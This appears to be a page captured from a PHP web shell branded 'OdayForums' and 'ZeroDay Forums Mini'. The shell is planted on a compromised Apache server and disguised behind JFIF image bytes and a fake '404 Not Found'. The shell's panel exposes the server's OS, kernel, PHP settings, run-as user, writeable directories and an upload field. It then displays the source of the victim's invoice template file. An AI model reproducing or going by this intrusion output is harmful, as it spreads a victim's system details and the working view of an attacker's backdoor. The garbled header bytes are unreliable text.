����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/views/invoice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/views/invoice/invoice_html.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
<script src="<?php echo MOD_URL.'dashboard/assets/js/print.js'; ?>"></script>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div class="header-icon">
            <i class="pe-7s-note2"></i>
        </div>
        <div class="header-title">
            <h1><?php echo display('invoice_details') ?></h1>
            <small><?php echo display('invoice_details') ?></small>
            <ol class="breadcrumb">
                <li><a href="#"><i class="pe-7s-home"></i> <?php echo display('home') ?></a></li>
                <li><a href="#"><?php echo display('invoice') ?></a></li>
                <li class="active"><?php echo display('invoice_details') ?></li>
            </ol>
        </div>
    </section>
    <!-- Main content -->
    <section class="content">
        <!-- Alert Message -->
        <?php
        $message = $this->session->userdata('message');
        if (isset($message)) {
            ?>
            <div class="alert alert-info alert-dismissable">
                <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                <?php echo $message ?>
            </div>
            <?php
            $this->session->unset_userdata('message');
        }
        $error_message = $this->session->userdata('error_message');
        if (isset($error_message)) {
            ?>
            <div class="alert alert-danger alert-dismissable">
                <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                <?php echo $error_message ?>
            </div>
            <?php
            $this->session->unset_userdata('error_message');
        }
        ?>
        <div class="row">
            <div class="col-sm-12">
                <div class="panel panel-bd">
                    <div id="printableArea">
                        <link href="<?php echo MOD_URL.'dashboard/assets/css/print.css'; ?>" rel="stylesheet" type="text/css"/>
                        <div class="panel-body">
                            <div class="row">
                               
                                <div class="col-sm-9 cominfo_div" >
                                    <img src="<?php if (isset($Soft_settings[0]['invoice_logo'])) {
                                        echo base_url() . $Soft_settings[0]['invoice_logo'];
                                    } ?>" class="img img-responsive inv_logo" alt="logo">
                                    <br>
                                    <span class="label label-success-outline m-r-15 p-10"><?php echo display('billing_from') ?></span>
                                    <address class="mt_10">
                                        <strong> <?php echo html_escape($company_info[0]['company_name']); ?></strong><br>
                                        <?php echo html_escape($company_info[0]['address']); ?><br>
                                        <abbr><?php echo display('mobile') ?>:</abbr> 
                                        <?php echo html_escape($company_info[0]['mobile']); ?><br>
                                        <abbr><?php echo display('email') ?>:</abbr>
                                        <?php echo html_escape($company_info[0]['email']); ?><br>
                                        <abbr><?php echo display('website') ?>:</abbr>
                                        <?php echo html_escape($company_info[0]['website']); ?>
                                    </address>
                                </div>
                               
                                <div class="col-sm-2 text-left cus_div">
                                    <h4 class="m-t-0">

                                        <?php if ($total_amount == $paid_amount) { ?>
                                            <span class="label label-success-outline "><?php echo display('paid') ?></span>
                                        <?php } elseif (($paid_amount > 0) && ($paid_amount < $total_amount)) { ?>
                                            <span class="label label-warning-outline"><?php echo display('partial_paid') ?></span>
                                        <?php } elseif ($paid_amount == 0) {
                                            ?>
                                            <span class="label label-danger-outline"><?php echo display('unpaid') ?></span>
                                        <?php } ?>

                                    </h4>
                                    <h2 class="m-t-0"><?php echo display('invoice') ?></h2>
                                    <div><?php echo display('invoice_no') ?>: <?php echo html_escape($invoice_no); ?></div>
                                    <div class="m-b-15"><?php echo display('billing_date') ?>: <?php echo html_escape($final_date) ?></div>
                                    <span class="label label-success-outline m-r-15"><?php echo display('billing_to') ?></span>

                                    <?php if (!strcmp($customer_mobile, $ship_customer_mobile)){ ?>
                                    <address class="mt_10">
                                        <strong><?php echo html_escape($customer_name); ?> </strong><br>
                                        <abbr><?php echo display('address') ?>:</abbr>
                                        <?php if ($customer_address) { ?>
                                            <c class="ctext"><?php echo html_escape($customer_address) ?></c>
                                        <?php } ?><br>
                                        <abbr><?php echo display('mobile') ?>
                                            :</abbr>
                                            <?php if ($customer_mobile) { ?>
                                                <?php echo html_escape($customer_mobile) ?>
                                            <?php }
                                        if ($customer_email) { ?>
                                            <br>
                                            <abbr><?php echo display('email') ?>:</abbr>
                                            <?php echo html_escape($customer_email); ?>
                                        <?php } ?>
                                    </address>
                                    <?php } else { ?>
                                        <address class="mt_10">
                                            <strong><?php echo html_escape($ship_customer_name) ?> </strong><br>
                                            <abbr><?php echo display('address') ?>:</abbr>
                                            <?php if ($ship_customer_short_address) { ?>
                                                <c class="ctext">
                                                    <?php echo html_escape($ship_customer_short_address); ?>
                                                </c>
                                            <?php } ?><br>
                                            <abbr><?php echo display('mobile') ?>
                                                :</abbr><?php if ($ship_customer_mobile) { ?>{ship_customer_mobile}<?php }
                                            if ($ship_customer_email) { ?>
                                                <br>
                                                <abbr><?php echo display('email') ?>:</abbr><?php echo html_escape($ship_customer_email); ?>
                                            <?php } ?>
                                        </address>
                                    <?php } ?>


                                </div>
                            </div>
                            <hr>

                            <div class="table-responsive m-b-20">
                                <table class="table table-striped">
                                    <thead>
                                    <tr>
                                        <th><?php echo display('sl') ?></th>
                                        <th><?php echo display('product_name') ?></th>
                                        <th><?php echo display('variant') ?></th>
                                        <th><?php echo display('unit') ?></th>
                                        <th><?php echo display('quantity') ?></th>
                                        <th><?php echo display('rate') ?></th>
                                        <th><?php echo display('discount') ?></th>
                                        <th><?php echo display('ammount') ?></th>
                                    </tr>
                                    </thead>
                                    <tbody>
                                        <?php if(!empty($invoice_all_data)){ foreach($invoice_all_data as $invoice){ ?>
                                    
                                    <tr>
                                        <td><?php echo html_escape($invoice['sl']); ?></td>
                                        <td><strong><?php echo html_escape($invoice['product_name']); ?> - (<?php echo html_escape($invoice['product_model']); ?>)</strong></td>
                                        <td><?php echo html_escape($invoice['variant_name']); 
                                        if(!empty($invoice['variant_color'])){
                                            $cvarinfo = $this->db->select('variant_name')->from('variant')->where('variant_id', $invoice['variant_color'])->get()->row();
                                            if(!empty($cvarinfo)){
                                                echo ', '.$cvarinfo->variant_name;
                                            }
                                        }

                                        ?>
                                        </td>
                                        <td><?php echo html_escape($invoice['unit_short_name']); ?></td>
                                        <td><?php echo html_escape($invoice['quantity']); ?></td>
                                        <td><?php echo(($position == 0) ? $currency." ".$invoice['rate'] : $invoice['rate']." ".$currency) ?></td>
                                        <td><?php echo(($position == 0) ? $currency." ".$invoice['discount'] : $invoice['discount']." ".$currency) ?></td>
                                        <td><?php echo(($position == 0) ? $currency." ".$invoice['total_price'] : $invoice['total_price']." ".$currency) ?></td>
                                    </tr>
                                   <?php } } ?>
                                    </tbody>
                                </table>
                            </div>
                            <div class="row">
                                <div class="col-sm-12">
                                    <div class="width_70p ft_left">
                                        <p><strong><?php echo htmlspecialchars_decode($invoice_details) ?></strong></p>
                                    </div>

                                    <div class="width_30p ft_left">

                                        <table class="table">

                                            <?php
                                            $this->db->select('a.*,b.tax_name');
                                            $this->db->from('tax_collection_summary a');
                                            $this->db->join('tax b', 'a.tax_id = b.tax_id');
                                            $this->db->where('a.invoice_id', $invoice_id);
                                            $this->db->where('a.tax_id', 'H5MQN4NXJBSDX4L');
                                            $tax_info = $this->db->get()->row();

                                            if ($tax_info) { ?>
                                                <tr>
                                                    <th class="total_cgst"><?php echo html_escape($tax_info->tax_name) ?> :</th>
                                                    <td class="total_cgst">
                                                        <?php echo(($position == 0) ? $currency . " " . $tax_info->tax_amount : $tax_info->tax_amount . " " . $currency); ?>
                                                    </td>
                                                </tr>
                                            <?php }

                                            $this->db->select('a.*,b.tax_name');
                                            $this->db->from('tax_collection_summary a');
                                            $this->db->join('tax b', 'a.tax_id = b.tax_id');
                                            $this->db->where('a.invoice_id', $invoice_id);
                                            $this->db->where('a.tax_id', '52C2SKCKGQY6Q9J');
                                            $tax_info = $this->db->get()->row();

                                            if ($tax_info) { ?>
                                                <tr>
                                                    <th class="total_sgst"><?php echo html_escape($tax_info->tax_name) ?> :</th>
                                                    <td class="total_sgst">
                                                        <?php echo(($position == 0) ? $currency . " " . $tax_info->tax_amount : $tax_info->tax_amount . " " . $currency); ?>
                                                    </td>
                                                </tr>
                                            <?php }

                                            $this->db->select('a.*,b.tax_name');
                                            $this->db->from('tax_collection_summary a');
                                            $this->db->join('tax b', 'a.tax_id = b.tax_id');
                                            $this->db->where('a.invoice_id', $invoice_id);
                                            $this->db->where('a.tax_id', '5SN9PRWPN131T4V');
                                            $tax_info = $this->db->get()->row();

                                            if ($tax_info) {
                                                ?>
                                                <tr>
                                                    <th class="total_igst"><?php echo html_escape($tax_info->tax_name) ?> :</th>
                                                    <td class="total_igst">
                                                        <?php echo(($position == 0) ? $currency . " " . $tax_info->tax_amount : $tax_info->tax_amount . " " . $currency); ?>
                                                    </td>
                                                </tr>
                                            <?php } ?>
                                            <?php if ($invoice_all_data[0]['total_discount'] != 0) { ?>
                                                <tr>
                                                    <th class="total_discount"><?php echo display('total_discount') ?>
                                                        :
                                                    </th>
                                                    <td class="total_discount"><?php echo(($position == 0) ? $currency." ".$total_discount : $total_discount ." ".$currency) ?></td>
                                                </tr>
                                            <?php } ?>

                                            <?php if ($invoice_all_data[0]['invoice_discount'] != 0) { ?>
                                                <tr>
                                                    <th class="invoice_discount"><?php echo display('invoice_discount') ?>
                                                        :
                                                    </th>
                                                    <td class="invoice_discount"><?php echo(($position == 0) ? $currency." ".$invoice_discount : $invoice_discount." ".$currency) ?></td>
                                                </tr>
                                            <?php } ?>

                                            <?php if ($invoice_all_data[0]['service_charge'] != 0) { ?>
                                                <tr>
                                                    <th class="service_charge"><?php echo display('service_charge') ?>
                                                        :
                                                    </th>
                                                    <td class="service_charge"><?php echo(($position == 0) ? "$currency "." $service_charge" : "$service_charge "." $currency") ?></td>
                                                </tr>
                                            <?php } ?>


                                            <?php if ($invoice_all_data[0]['shipping_charge'] != 0) { ?>
                                                <tr>
                                                    <th class="shipping_charge"><?php echo display('shipping_charge') ?>
                                                        :
                                                    </th>
                                                    <td class="shipping_charge"><?php echo(($position == 0) ? "$currency "." $shipping_charge" : "$shipping_charge "." $currency") ?></td>
                                                </tr>
                                            <?php } ?>

                                            <?php if (!empty($invoice_all_data[0]['shipping_method'])) { ?>
                                                <tr>
                                                    <th class="shipping_method"><?php echo display('shipping_method') ?>
                                                        :
                                                    </th>
                                                    <td class="shipping_method"><?php echo html_escape($shipping_method); ?></td>
                                                </tr>
                                            <?php } ?>

                                            <tr>
                                                <th class="grand_total"><?php echo display('grand_total') ?> :</th>
                                                <td class="grand_total"><?php echo(($position == 0) ? $currency." ".$total_amount : $total_amount." ".$currency) ?></td>
                                            </tr>
                                            <tr>
                                                <th class="bt_bb_0"><?php echo display('paid_ammount') ?>
                                                    :
                                                </th>
                                                <td class="bt_bb_0"><?php echo(($position == 0) ? $currency." ".$paid_amount : $paid_amount." ".$currency) ?></td>
                                            </tr>
                                            <?php if ($invoice_all_data[0]['due_amount'] != 0) { ?>
                                                <tr>
                                                    <th><?php echo display('due') ?> :</th>
                                                    <td><?php echo(($position == 0) ? $currency." ".$due_amount : $due_amount." ".$currency) ?></td>
                                                </tr>
                                            <?php } ?>
                                        </table>

                                        <div class="auth_by">
                                            <?php echo display('authorised_by') ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="panel-footer text-left">
                        <?php if($this->permission->check_label('manage_sale')->read()->access()){ ?>
                        <a class="btn btn-danger" href="<?php echo base_url('dashboard/Cinvoice/manage_invoice'); ?>"><?php echo display('cancel') ?></a>
                        <?php }?>
                        <a class="btn btn-info" href="<?php echo current_url(); ?>" onclick="printPageDiv('printableArea')"><span class="fa fa-print"></span>
                        </a>
                    </div>
                </div>
            </div>
        </div>
    </section> <!-- /.content -->
</div> <!-- /.content-wrapper -->




ZeroDay Forums Mini